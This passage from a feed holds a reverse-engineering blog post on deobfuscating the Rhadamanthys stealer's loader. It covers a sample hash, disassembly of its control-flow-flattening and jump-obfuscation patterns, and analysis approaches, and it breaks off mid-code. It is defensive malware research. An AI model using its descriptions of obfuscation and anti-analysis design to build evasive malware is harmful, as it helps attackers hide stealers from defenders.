        <pubDate>Fri, 17 Apr 2026 12:00:00 +0000</pubDate>
        <link>https://cyber.wtf/2026/04/17/ehealth-simplifyu-cves/</link>
        <guid isPermaLink="true">https://cyber.wtf/2026/04/17/ehealth-simplifyu-cves/</guid>
        
        <category>cves</category>
        
        <category>web</category>
        
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Rhadamanthys Loader Deobfuscation</title>
        <description>&lt;p&gt;&lt;em&gt;~ Content warning: This post contains liberal amounts of x86 assembly! ~&lt;/em&gt;&lt;/p&gt;

&lt;h1 id=&quot;intro&quot;&gt;Intro&lt;/h1&gt;

&lt;p&gt;Rhadamanthys is a notorious stealer malware that has been around since 2022.
Check Point Research has recently published a &lt;a href=&quot;https://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/&quot;&gt;very detailed blog post&lt;/a&gt; about changes in the latest Rhadamanthys version.
If you’re interested in the stealer’s capabilities - or if you always wanted to know what a dark web sales site for malware looks like - definitely check out their post.&lt;/p&gt;

&lt;p&gt;What piqued my interest is not the malware itself, but its native loader.
The loader is interesting because it implements some rather complicated anti-sandboxing/anti-AV-emulation measures.
Furthermore, the payload is encoded using a custom binary-to-string encoding that the malware authors try to keep hidden.
This causes vast parts of the loader binary to contain gibberish ASCII text.&lt;/p&gt;

&lt;p&gt;But most importantly, the loader is obfuscated using different layered techniques, making static analysis extremely hard.
If you’ve followed my posts in the past (especially the ones about &lt;a href=&quot;https://cyber.wtf/2025/02/12/unpacking-pyarmor-v8-scripts/&quot;&gt;Pyarmor&lt;/a&gt; and &lt;a href=&quot;https://cyber.wtf/2025/04/07/dotnet-deobfuscation/&quot;&gt;.NET&lt;/a&gt;), you know I always like a good deobfuscation challenge - so let’s see what we’re dealing with in this instance!&lt;/p&gt;

&lt;h1 id=&quot;setting-the-stage&quot;&gt;Setting the stage&lt;/h1&gt;

&lt;p&gt;The sample that we will work on for the rest of the post is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;8f54612f441c4a18564e6badf5709544370715e4529518d04b402dcd7f11b0fb&lt;/code&gt;.
It’s packed, so you need to unpack it to see the actual Rhadamanthys loader.&lt;/p&gt;

&lt;p&gt;When we open up the main function, we’re greeted by this ghastly sight.&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A560~0040A5C7&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;...&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;Normal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;ish&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;prologue&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5C8&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nv&quot;&gt;short&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;loc_40A5F0&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5CA&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; ----------------------------------------------------&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5CA&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;19A7218Ah&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5D0&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;lea&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;off_48B604&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5D6&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;lea&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;off_48B850&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5DC&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmovz&lt;/span&gt;   &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5DF&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5E1&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;add&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5E3&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5E3&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; ----------------------------------------------------&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5E5&lt;/span&gt;                 &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;ign&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;10h&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5F0&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5F0&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;loc_40A5F0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;               &lt;span class=&quot;c1&quot;&gt;; CODE XREF: sub_40A560+68↑j&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5F0&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0BB2D365h&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5F6&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5F8&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;lea&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;off_48B8A4&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5FE&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmovl&lt;/span&gt;   &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A601&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A603&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;add&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A605&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A605&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;sub_40A560&lt;/span&gt;      &lt;span class=&quot;nv&quot;&gt;endp&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; IDA thinks the function ends here, but it&apos;s far from the end&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A605&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A607&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; ----------------------------------------------------&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A607&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;lea&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;off_48B758&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A60D&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;357A351Eh&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A613&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jge&lt;/span&gt;     &lt;span class=&quot;nv&quot;&gt;short&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;loc_40A680&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A615&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A617&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;add&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A619&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The rest of the function looks more or less the same.
Blocks that perform actual work, such as calling other functions, are slightly larger.
In total, this main function has almost 3000 instructions and hundreds of blocks.&lt;/p&gt;

&lt;p&gt;Two things are at play here:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Jump target obfuscation: The target addresses are hidden using a memory load and addition with a key register.&lt;/li&gt;
  &lt;li&gt;Control flow flattening: The blocks we see above are actually part of a typical CFF dispatcher. CFF is a technique where direct relations between basic blocks are removed. Instead, each time you have some sort of path decision, you set a state variable (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ebx&lt;/code&gt; in this case).
Then you jump into the dispatcher, which will eventually execute the correct block.
At a higher level, you can think of it like a huge switch statement, where the cases are obnoxious high entropy numbers like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x357A351E&lt;/code&gt;.
&lt;br /&gt;
The code at hand is basically doing a binary search until it finds a target block where &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ebx&lt;/code&gt; matches exactly (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;je&lt;/code&gt; instruction, not depicted above).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Together, those techniques form a potent combination.
While control flow flattening alone is already annoying, at least you can decompile the code and see &lt;em&gt;something&lt;/em&gt;.
With the jump obfuscation on top of it, disassemblers and decompilers will only see a bunch of apparently unrelated blocks - no children, no parents.
This obviously completely breaks decompilation and any control flow graph analysis.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Unrelated to the above, another pattern that occurs somewhat frequently in the code is this:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;sub_40F830&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AE7C&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0C4D77A40h&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;add&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The function result &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eax&lt;/code&gt; is compared against a value in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ecx&lt;/code&gt;, which is again obtained using a memory load and an addition.
This is essentially constant obfuscation, which has been applied to all constants in the program (except for ones belonging to the obfuscator itself, such as the control flow state variable).&lt;/p&gt;

&lt;p&gt;The memory load presents an additional twist: if the initial &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov ecx&lt;/code&gt; had simply been another constant like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;edx&lt;/code&gt;, decompilers would automatically fold the addition as part of their built-in optimizations.
But with the load, they typically won’t do so even if the referenced memory were to be marked read-only.&lt;/p&gt;

&lt;h1 id=&quot;deobfuscation&quot;&gt;Deobfuscation&lt;/h1&gt;

&lt;p&gt;An important first insight is that the obfuscation works on a per-function level.
Blocks belonging to one function are always contained in the function bounds; there’s no crazy jumping across the whole program.
You may be wondering how one is supposed to determine the function bounds - after all, we don’t have a coherent control flow graph.
Luckily, this one is simple: Functions touched by the obfuscator only have a single exit point.
They always have a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ret&lt;/code&gt; at their very end.&lt;/p&gt;

&lt;p&gt;Any deobfuscation attempt should thus also focus on one function at a time.&lt;/p&gt;

&lt;h2 id=&quot;first-failed-attempt&quot;&gt;First (failed) attempt&lt;/h2&gt;

&lt;p&gt;While browsing through the code in order to come to a decision on how to deal with it, I stumbled upon cases like this:&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BECC&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; ---------------------------------------------------&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BECC&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;40h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BED0&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0BB2D365h&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BED6&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BED8&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;lea&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;off_48B8A4&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEDE&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmovl&lt;/span&gt;   &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEE1&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEE3&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;add&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEE5&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As can be seen, the jump target depends on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmovl&lt;/code&gt;, which will be either &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;edx&lt;/code&gt; (via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eax&lt;/code&gt;) or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;edi&lt;/code&gt;.
But what’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;edx&lt;/code&gt;? It’s not set in this block, and the block doesn’t have any direct parents.&lt;/p&gt;

&lt;p&gt;In the general case, one would have to assume &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;edx&lt;/code&gt; can be arbitrarily set in one of the (unknown) parent blocks.
For this reason, I chose to try symbolic execution.
This technique can simulate everything from the beginning of the function, meaning we should always have &lt;em&gt;some&lt;/em&gt; sort of value for the registers (they may be symbolic, but for those obfuscator pointers like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;edx&lt;/code&gt;, I would expect integers).&lt;/p&gt;

&lt;p&gt;However, after trying both Triton and angr, I figured that symbolic execution is not suitable here, at least not in the fashion I intended.
Due to the size of some of the functions in the malware, path explosion becomes a real problem.
While the symbolic exploration is working in principle and gives us correct destinations for each indirect jump, it simply doesn’t finish in any acceptable timeframe.&lt;/p&gt;

&lt;p&gt;With the insight gained during the symbolic execution attempts and some further manual exploring, it turned out I needn’t have worried about cases such as with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;edx&lt;/code&gt; register above.
For this obfuscation scheme, if a register is used in a block and has &lt;em&gt;not&lt;/em&gt; been assigned in said block or a discernible parent, it will always have the value that was assigned to it in the function prologue block.
In order to handle such situations, it’s thus enough to create a lookup with all constant register assignments that happen in the prologue block.&lt;/p&gt;

&lt;h2 id=&quot;static-deobfuscation&quot;&gt;Static deobfuscation&lt;/h2&gt;

&lt;p&gt;Seeing the snippet from the initial section, you may be tempted to say “just define regexes for the 3-4 different patterns &amp;amp; be done with it”.
Unfortunately, it’s not that simple.
The obfuscation was most likely implemented as a compilation pass (possibly in LLVM), and the compiler has quite a bit of leeway in how it actually arranges and emits the obfuscated code.&lt;/p&gt;

&lt;p&gt;You will encounter all of these situations and more:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Instructions can be scheduled however the compiler pleases; you can have completely unrelated (legit) instructions right before &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp eax&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp&lt;/code&gt; register is not always &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eax&lt;/code&gt;, it differs per function.&lt;/li&gt;
  &lt;li&gt;The compiler may have had to temporarily save one of the registers involved in the obfuscation, so you’ll see save/restore pairs.
Except in some situations, the saves will be in parent blocks (thankfully, those parents will be explicit and not hidden).
&lt;br /&gt;
This can also affect the key register for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;add&lt;/code&gt;, it can be temporarily aliased.&lt;/li&gt;
  &lt;li&gt;The compiler may have found it convenient to put an incoming branch edge into the middle of the pattern, e.g., towards a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov eax, [eax]&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One way to deal with all of this is to use a technique called backwards data slicing.
It collects a minimal subset of instructions that influence a given value (such as the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp&lt;/code&gt; register).
This is easier to reason about, especially when there are other “noisy” instructions sprinkled into a block.
In case of incoming branches, we split the analysis and track the branch source.
For the jump obfuscation, it’s enough to do this for a depth of 1 and ignore everything incoming if we’re already on a “split path”.&lt;/p&gt;

&lt;p&gt;Here’s an example:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEE7&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;lea&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;off_48B5B0&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEED&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0F6A636EFh&lt;/span&gt;
